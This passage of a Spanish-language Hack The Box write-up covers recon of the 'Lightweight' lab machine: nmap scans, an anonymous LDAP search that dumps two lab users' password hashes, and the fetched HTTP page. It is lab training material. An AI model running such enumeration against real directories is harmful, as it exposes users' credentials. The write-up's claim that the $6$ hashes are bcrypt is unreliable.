</span></span><span style="display:flex;"><span>Scanning 10.10.10.119 [3 ports]
</span></span><span style="display:flex;"><span>Discovered open port 80/tcp on 10.10.10.119
</span></span><span style="display:flex;"><span>Discovered open port 22/tcp on 10.10.10.119
</span></span><span style="display:flex;"><span>Discovered open port 389/tcp on 10.10.10.119
</span></span><span style="display:flex;"><span>Completed SYN Stealth Scan at 22:45, 2.08s elapsed (3 total ports)
</span></span><span style="display:flex;"><span>Initiating Service scan at 22:45
</span></span><span style="display:flex;"><span>Scanning 3 services on 10.10.10.119
</span></span><span style="display:flex;"><span>Completed Service scan at 22:45, 19.11s elapsed (3 services on 1 host)
</span></span><span style="display:flex;"><span>NSE: Script scanning 10.10.10.119.
</span></span><span style="display:flex;"><span>Initiating NSE at 22:45
</span></span><span style="display:flex;"><span>Completed NSE at 22:46, 57.45s elapsed
</span></span><span style="display:flex;"><span>Initiating NSE at 22:46
</span></span><span style="display:flex;"><span>Completed NSE at 22:46, 0.00s elapsed
</span></span><span style="display:flex;"><span>Nmap scan report for 10.10.10.119
</span></span><span style="display:flex;"><span>Host is up (1.8s latency).
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>PORT    STATE SERVICE VERSION
</span></span><span style="display:flex;"><span>22/tcp  open  ssh     OpenSSH 7.4 (protocol 2.0)
</span></span><span style="display:flex;"><span>| ssh-hostkey:
</span></span><span style="display:flex;"><span>|   2048 19:97:59:9a:15:fd:d2:ac:bd:84:73:c4:29:e9:2b:73 (RSA)
</span></span><span style="display:flex;"><span>|   256 88:58:a1:cf:38:cd:2e:15:1d:2c:7f:72:06:a3:57:67 (ECDSA)
</span></span><span style="display:flex;"><span>|_  256 31:6c:c1:eb:3b:28:0f:ad:d5:79:72:8f:f5:b5:49:db (ED25519)
</span></span><span style="display:flex;"><span>80/tcp  open  http    Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16)
</span></span><span style="display:flex;"><span>| http-methods:
</span></span><span style="display:flex;"><span>|_  Supported Methods: GET HEAD POST
</span></span><span style="display:flex;"><span>|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
</span></span><span style="display:flex;"><span>|_http-title: Lightweight slider evaluation page - slendr
</span></span><span style="display:flex;"><span>389/tcp open  ldap    OpenLDAP 2.2.X - 2.3.X
</span></span><span style="display:flex;"><span>| ssl-cert: Subject: commonName=lightweight.htb
</span></span><span style="display:flex;"><span>| Subject Alternative Name: DNS:lightweight.htb, DNS:localhost, DNS:localhost.localdomain
</span></span><span style="display:flex;"><span>| Issuer: commonName=lightweight.htb
</span></span><span style="display:flex;"><span>| Public Key type: rsa
</span></span><span style="display:flex;"><span>| Public Key bits: 1024
</span></span><span style="display:flex;"><span>| Signature Algorithm: sha256WithRSAEncryption
</span></span><span style="display:flex;"><span>| Not valid before: 2018-01-15T13:32:51
</span></span><span style="display:flex;"><span>| Not valid after:  2019-01-15T13:32:51
</span></span><span style="display:flex;"><span>| MD5:   0e61 1374 e591 83bd fd4a ee1a f448 547c
</span></span><span style="display:flex;"><span>|_SHA-1: 8e10 be17 d435 e99d 3f93 9f40 c5d9 433c 47dd 532f
</span></span><span style="display:flex;"><span>|_ssl-date: TLS randomness does not represent time
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>NSE: Script Post-scanning.
</span></span><span style="display:flex;"><span>Initiating NSE at 22:46
</span></span><span style="display:flex;"><span>Completed NSE at 22:46, 0.00s elapsed
</span></span><span style="display:flex;"><span>Initiating NSE at 22:46
</span></span><span style="display:flex;"><span>Completed NSE at 22:46, 0.00s elapsed
</span></span><span style="display:flex;"><span>Read data files from: /usr/bin/../share/nmap
</span></span><span style="display:flex;"><span>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
</span></span><span style="display:flex;"><span>Nmap done: 1 IP address (1 host up) scanned in 81.12 seconds
</span></span><span style="display:flex;"><span>           Raw packets sent: 7 (284B) | Rcvd: 4 (160B)
</span></span></code></pre></div><h1 id="enum-of-tcp389-ldap">Enum of tcp/389 (ldap)</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/lightweight$ nmap --script ldap-search -p389 10.10.10.119
</span></span><span style="display:flex;"><span>Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-05 19:12 CST
</span></span><span style="display:flex;"><span>Nmap scan report for 10.10.10.119
</span></span><span style="display:flex;"><span>Host is up (0.19s latency).
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>PORT    STATE SERVICE
</span></span><span style="display:flex;"><span>389/tcp open  ldap
</span></span><span style="display:flex;"><span>| ldap-search:
</span></span><span style="display:flex;"><span>|   Context: dc=lightweight,dc=htb
</span></span><span style="display:flex;"><span>|     dn: dc=lightweight,dc=htb
</span></span><span style="display:flex;"><span>|         objectClass: top
</span></span><span style="display:flex;"><span>|         objectClass: dcObject
</span></span><span style="display:flex;"><span>|         objectClass: organization
</span></span><span style="display:flex;"><span>|         o: lightweight htb
</span></span><span style="display:flex;"><span>|         dc: lightweight
</span></span><span style="display:flex;"><span>|     dn: cn=Manager,dc=lightweight,dc=htb
</span></span><span style="display:flex;"><span>|         objectClass: organizationalRole
</span></span><span style="display:flex;"><span>|         cn: Manager
</span></span><span style="display:flex;"><span>|         description: Directory Manager
</span></span><span style="display:flex;"><span>|     dn: ou=People,dc=lightweight,dc=htb
</span></span><span style="display:flex;"><span>|         objectClass: organizationalUnit
</span></span><span style="display:flex;"><span>|         ou: People
</span></span><span style="display:flex;"><span>|     dn: ou=Group,dc=lightweight,dc=htb
</span></span><span style="display:flex;"><span>|         objectClass: organizationalUnit
</span></span><span style="display:flex;"><span>|         ou: Group
</span></span><span style="display:flex;"><span>|     dn: uid=ldapuser1,ou=People,dc=lightweight,dc=htb
</span></span><span style="display:flex;"><span>|         uid: ldapuser1
</span></span><span style="display:flex;"><span>|         cn: ldapuser1
</span></span><span style="display:flex;"><span>|         sn: ldapuser1
</span></span><span style="display:flex;"><span>|         mail: ldapuser1@lightweight.htb
</span></span><span style="display:flex;"><span>|         objectClass: person
</span></span><span style="display:flex;"><span>|         objectClass: organizationalPerson
</span></span><span style="display:flex;"><span>|         objectClass: inetOrgPerson
</span></span><span style="display:flex;"><span>|         objectClass: posixAccount
</span></span><span style="display:flex;"><span>|         objectClass: top
</span></span><span style="display:flex;"><span>|         objectClass: shadowAccount
</span></span><span style="display:flex;"><span>|         userPassword: {crypt}$6$3qx0SD9x$Q9y1lyQaFKpxqkGqKAjLOWd33Nwdhj.l4MzV7vTnfkE/g/Z/7N5ZbdEQWfup2lSdASImHtQFh6zMo41ZA./44/
</span></span><span style="display:flex;"><span>|         shadowLastChange: 17691
</span></span><span style="display:flex;"><span>|         shadowMin: 0
</span></span><span style="display:flex;"><span>|         shadowMax: 99999
</span></span><span style="display:flex;"><span>|         shadowWarning: 7
</span></span><span style="display:flex;"><span>|         loginShell: /bin/bash
</span></span><span style="display:flex;"><span>|         uidNumber: 1000
</span></span><span style="display:flex;"><span>|         gidNumber: 1000
</span></span><span style="display:flex;"><span>|         homeDirectory: /home/ldapuser1
</span></span><span style="display:flex;"><span>|     dn: uid=ldapuser2,ou=People,dc=lightweight,dc=htb
</span></span><span style="display:flex;"><span>|         uid: ldapuser2
</span></span><span style="display:flex;"><span>|         cn: ldapuser2
</span></span><span style="display:flex;"><span>|         sn: ldapuser2
</span></span><span style="display:flex;"><span>|         mail: ldapuser2@lightweight.htb
</span></span><span style="display:flex;"><span>|         objectClass: person
</span></span><span style="display:flex;"><span>|         objectClass: organizationalPerson
</span></span><span style="display:flex;"><span>|         objectClass: inetOrgPerson
</span></span><span style="display:flex;"><span>|         objectClass: posixAccount
</span></span><span style="display:flex;"><span>|         objectClass: top
</span></span><span style="display:flex;"><span>|         objectClass: shadowAccount
</span></span><span style="display:flex;"><span>|         userPassword: {crypt}$6$xJxPjT0M$1m8kM00CJYCAgzT4qz8TQwyGFQvk3boaymuAmMZCOfm3OA7OKunLZZlqytUp2dun509OBE2xwX/QEfjdRQzgn1
</span></span><span style="display:flex;"><span>|         shadowLastChange: 17691
</span></span><span style="display:flex;"><span>|         shadowMin: 0
</span></span><span style="display:flex;"><span>|         shadowMax: 99999
</span></span><span style="display:flex;"><span>|         shadowWarning: 7
</span></span><span style="display:flex;"><span>|         loginShell: /bin/bash
</span></span><span style="display:flex;"><span>|         uidNumber: 1001
</span></span><span style="display:flex;"><span>|         gidNumber: 1001
</span></span><span style="display:flex;"><span>|         homeDirectory: /home/ldapuser2
</span></span><span style="display:flex;"><span>|     dn: cn=ldapuser1,ou=Group,dc=lightweight,dc=htb
</span></span><span style="display:flex;"><span>|         objectClass: posixGroup
</span></span><span style="display:flex;"><span>|         objectClass: top
</span></span><span style="display:flex;"><span>|         cn: ldapuser1
</span></span><span style="display:flex;"><span>|         userPassword: {crypt}x
</span></span><span style="display:flex;"><span>|         gidNumber: 1000
</span></span><span style="display:flex;"><span>|     dn: cn=ldapuser2,ou=Group,dc=lightweight,dc=htb
</span></span><span style="display:flex;"><span>|         objectClass: posixGroup
</span></span><span style="display:flex;"><span>|         objectClass: top
</span></span><span style="display:flex;"><span>|         cn: ldapuser2
</span></span><span style="display:flex;"><span>|         userPassword: {crypt}x
</span></span><span style="display:flex;"><span>|_        gidNumber: 1001
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Nmap done: 1 IP address (1 host up) scanned in 1.70 seconds
</span></span></code></pre></div><p>Por los resultados podemos observar dos usuarios locales, ldapuser1 y ldapuser2. Los hashes de las contraseñas, se encuentran en bcrypt, por lo que ejecutar un brute force sobre los hashes nos tomaría demasiado tiempo. Detengamos hasta aquí las pruebas sobre el servicio y continuemos con HTTP.</p>
<h1 id="enum-tcp80-http">Enum tcp/80 (http)</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>xbytemx@laptop:~/htb/lightweight$ http 10.10.10.119
</span></span><span style="display:flex;"><span>HTTP/1.1 200 OK
</span></span><span style="display:flex;"><span>Connection: Keep-Alive
</span></span><span style="display:flex;"><span>Content-Length: 4218
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>Date: Wed, 15 May 2019 03:51:16 GMT
</span></span><span style="display:flex;"><span>Keep-Alive: timeout=5, max=100
</span></span><span style="display:flex;"><span>Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
</span></span><span style="display:flex;"><span>X-Powered-By: PHP/5.4.16
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!DOCTYPE html&gt;</span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">html</span> <span style="color:#a6e22e">lang</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;en&#34;</span> &gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">meta</span> <span style="color:#a6e22e">charset</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;UTF-8&#34;</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">title</span>&gt;Lightweight slider evaluation page - slendr&lt;/<span style="color:#f92672">title</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">meta</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;viewport&#34;</span> <span style="color:#a6e22e">content</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;width=device-width, initial-scale=1&#34;</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">link</span> <span style="color:#a6e22e">rel</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;stylesheet&#34;</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css&#34;</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">link</span> <span style="color:#a6e22e">rel</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;stylesheet prefetch&#39;</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;https://fonts.googleapis.com/css?family=Roboto:100,300&#39;</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">link</span> <span style="color:#a6e22e">rel</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;stylesheet prefetch&#39;</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.5.0/css/font-awesome.min.css&#39;</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">link</span> <span style="color:#a6e22e">rel</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;stylesheet&#34;</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;css/style.css&#34;</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!-- github-ribbon --&gt;</span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;https://github.com/joseluisq/slendr&#34;</span> <span style="color:#a6e22e">target</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;_blank&#34;</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;github-corner&#34;</span>&gt;&lt;<span style="color:#f92672">svg</span> <span style="color:#a6e22e">width</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;80&#34;</span> <span style="color:#a6e22e">height</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;80&#34;</span> <span style="color:#a6e22e">viewBox</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;0 0 250 250&#34;</span> <span style="color:#a6e22e">style</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;fill:rgba(255,255,255,.75); color:#353a43; z-index:7; position: absolute; top: 0; border: 0; right: 0;&#34;</span>&gt;&lt;<span style="color:#f92672">path</span> <span style="color:#a6e22e">d</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;M0,0 L115,115 L130,115 L142,142 L250,250 L250,0 Z&#34;</span>&gt;&lt;/<span style="color:#f92672">path</span>&gt;&lt;<span style="color:#f92672">path</span> <span style="color:#a6e22e">d</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;M128.3,109.0 C113.8,99.7 119.0,89.6 119.0,89.6 C122.0,82.7 120.5,78.6 120.5,78.6 C119.2,72.0 123.4,76.3 123.4,76.3 C127.3,80.9 125.5,87.3 125.5,87.3 C122.9,97.6 130.6,101.9 134.4,103.2&#34;</span> <span style="color:#a6e22e">fill</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;currentColor&#34;</span> <span style="color:#a6e22e">style</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;transform-origin: 130px 106px;&#34;</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;octo-arm&#34;</span>&gt;&lt;/<span style="color:#f92672">path</span>&gt;&lt;<span style="color:#f92672">path</span> <span style="color:#a6e22e">d</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;M115.0,115.0 C114.9,115.1 118.7,116.5 119.8,115.4 L133.7,101.6 C136.9,99.2 139.9,98.4 142.2,98.6 C133.8,88.0 127.5,74.4 143.8,58.0 C148.5,53.4 154.0,51.2 159.7,51.0 C160.3,49.4 163.2,43.6 171.4,40.1 C171.4,40.1 176.1,42.5 178.8,56.2 C183.1,58.6 187.2,61.8 190.9,65.4 C194.5,69.0 197.7,73.2 200.1,77.6 C213.8,80.2 216.3,84.9 216.3,84.9 C212.7,93.1 206.9,96.0 205.4,96.6 C205.1,102.4 203.0,107.8 198.3,112.5 C181.9,128.9 168.3,122.5 157.7,114.1 C157.9,116.9 156.7,120.9 152.7,124.9 L141.0,136.5 C139.8,137.7 141.6,141.9 141.8,141.8 Z&#34;</span> <span style="color:#a6e22e">fill</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;currentColor&#34;</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;octo-body&#34;</span>&gt;&lt;/<span style="color:#f92672">path</span>&gt;&lt;/<span style="color:#f92672">svg</span>&gt;&lt;/<span style="color:#f92672">a</span>&gt;&lt;<span style="color:#f92672">style</span>&gt;.<span style="color:#a6e22e">github-corner</span>:<span style="color:#a6e22e">hover</span> .<span style="color:#a6e22e">octo-arm</span>{<span style="color:#66d9ef">animation</span>:octocat-wave <span style="color:#ae81ff">560</span><span style="color:#66d9ef">ms</span> <span style="color:#66d9ef">ease-in-out</span>;}@<span style="color:#66d9ef">keyframes</span> <span style="color:#f92672">octocat-wave</span>{<span style="color:#f92672">0</span><span style="color:#f92672">%,</span><span style="color:#f92672">100</span><span style="color:#f92672">%</span>{<span style="color:#66d9ef">transform</span>:rotate(<span style="color:#ae81ff">0</span>)}<span style="color:#f92672">20</span><span style="color:#f92672">%,</span><span style="color:#f92672">60</span><span style="color:#f92672">%</span>{<span style="color:#66d9ef">transform</span>:rotate(<span style="color:#ae81ff">-25</span><span style="color:#66d9ef">deg</span>)}<span style="color:#f92672">40</span><span style="color:#f92672">%,</span><span style="color:#f92672">80</span><span style="color:#f92672">%</span>{<span style="color:#66d9ef">transform</span>:rotate(<span style="color:#ae81ff">10</span><span style="color:#66d9ef">deg</span>)}}@<span style="color:#66d9ef">media</span> <span style="color:#f92672">(</span><span style="color:#f92672">max-width</span>:<span style="color:#a6e22e">500px</span><span style="color:#f92672">)</span>{.<span style="color:#a6e22e">github-corner</span>:<span style="color:#a6e22e">hover</span> .<span style="color:#a6e22e">octo-arm</span>{<span style="color:#66d9ef">animation</span>:<span style="color:#66d9ef">none</span>}.<span style="color:#a6e22e">github-corner</span> .<span style="color:#a6e22e">octo-arm</span>{<span style="color:#66d9ef">animation</span>:octocat-wave <span style="color:#ae81ff">560</span><span style="color:#66d9ef">ms</span> <span style="color:#66d9ef">ease-in-out</span>}}&lt;/<span style="color:#f92672">style</span>&gt;
</span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!-- //github-ribbon --&gt;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;overlay&#34;</span> <span style="color:#a6e22e">onclick</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;off()&#34;</span> <span style="color:#a6e22e">style</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;display:block; z-index:100&#34;</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;text&#34;</span>&gt;This site is protected by against bruteforging.&lt;<span style="color:#f92672">br</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">br</span>&gt;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;info.php&#34;</span>&gt;info&lt;/<span style="color:#f92672">a</span>&gt;&amp;nbsp;&amp;nbsp;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;status.php&#34;</span>&gt;status&lt;/<span style="color:#f92672">a</span>&gt;&amp;nbsp;&amp;nbsp;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;user.php&#34;</span>&gt;user&lt;/<span style="color:#f92672">a</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">style</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;padding:20px&#34;</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">h2</span>&gt;Overlay with Text&lt;/<span style="color:#f92672">h2</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">button</span> <span style="color:#a6e22e">onclick</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;on()&#34;</span>&gt;Turn on overlay effect&lt;/<span style="color:#f92672">button</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">on</span>() {
</span></span><span style="display:flex;"><span>    document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">&#34;overlay&#34;</span>).<span style="color:#a6e22e">style</span>.<span style="color:#a6e22e">display</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;block&#34;</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">off</span>() {
</span></span><span style="display:flex;"><span>    document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">&#34;overlay&#34;</span>).<span style="color:#a6e22e">style</span>.<span style="color:#a6e22e">display</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;none&#34;</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;slendr&#34;</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">nav</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;slendr-direction&#34;</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;#&#34;</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;slendr-prev&#34;</span>&gt;&lt;<span style="color:#f92672">i</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;fa fa-angle-left&#34;</span>&gt;&lt;/<span style="color:#f92672">i</span>&gt;&lt;/<span style="color:#f92672">a</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;#&#34;</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;slendr-next&#34;</span>&gt;&lt;<span style="color:#f92672">i</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;fa fa-angle-right&#34;</span>&gt;&lt;/<span style="color:#f92672">i</span>&gt;&lt;/<span style="color:#f92672">a</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;/<span style="color:#f92672">nav</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">nav</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;slendr-control&#34;</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">p</span>&gt;&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;/<span style="color:#f92672">nav</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;slendr-slides&#34;</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">section</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;slendr-slide&#34;</span> <span style="color:#a6e22e">data-src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;https://c1.staticflickr.com/1/742/20508368953_9f318453e6_k.jpg&#34;</span>&gt;
</span></span><span style="display:flex;"><span>      &lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;slider-content&#34;</span>&gt;
</span></span><span style="display:flex;"><span>        &lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;slider-box&#34;</span>&gt;
</span></span><span style="display:flex;"><span>          &lt;<span style="color:#f92672">h1</span>&gt;Slendr&lt;/<span style="color:#f92672">h1</span>&gt;
</span></span><span style="display:flex;"><span>          &lt;<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>            Lightweight and responsive slider for modern browsers.
</span></span><span style="display:flex;"><span>          &lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>        &lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>      &lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;/<span style="color:#f92672">section</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">section</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;slendr-slide&#34;</span> <span style="color:#a6e22e">data-src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;https://c1.staticflickr.com/1/587/21562390566_60f8c82957_k.jpg&#34;</span>&gt;
</span></span><span style="display:flex;"><span>      &lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;slider-content&#34;</span>&gt;
</span></span><span style="display:flex;"><span>        &lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;slider-box&#34;</span>&gt;
</span></span><span style="display:flex;"><span>          &lt;<span style="color:#f92672">h1</span>&gt;Slendr&lt;/<span style="color:#f92672">h1</span>&gt;
</span></span><span style="display:flex;"><span>          &lt;<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>            Lightweight and responsive slider for modern browsers.
</span></span><span style="display:flex;"><span>          &lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>        &lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>      &lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;/<span style="color:#f92672">section</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">section</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;slendr-slide&#34;</span> <span style="color:#a6e22e">data-src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;https://c2.staticflickr.com/8/7281/16559230138_f00034ac65_h.jpg&#34;</span>&gt;
</span></span><span style="display:flex;"><span>      &lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;slider-content&#34;</span>&gt;
</span></span><span style="display:flex;"><span>        &lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;slider-box&#34;</span>&gt;
</span></span><span style="display:flex;"><span>          &lt;<span style="color:#f92672">h1</span>&gt;Slendr&lt;/<span style="color:#f92672">h1</span>&gt;
</span></span><span style="display:flex;"><span>          &lt;<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>            Lightweight and responsive slider for modern browsers.
</span></span><span style="display:flex;"><span>          &lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>        &lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>      &lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;/<span style="color:#f92672">section</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  &lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">body</span>&gt;
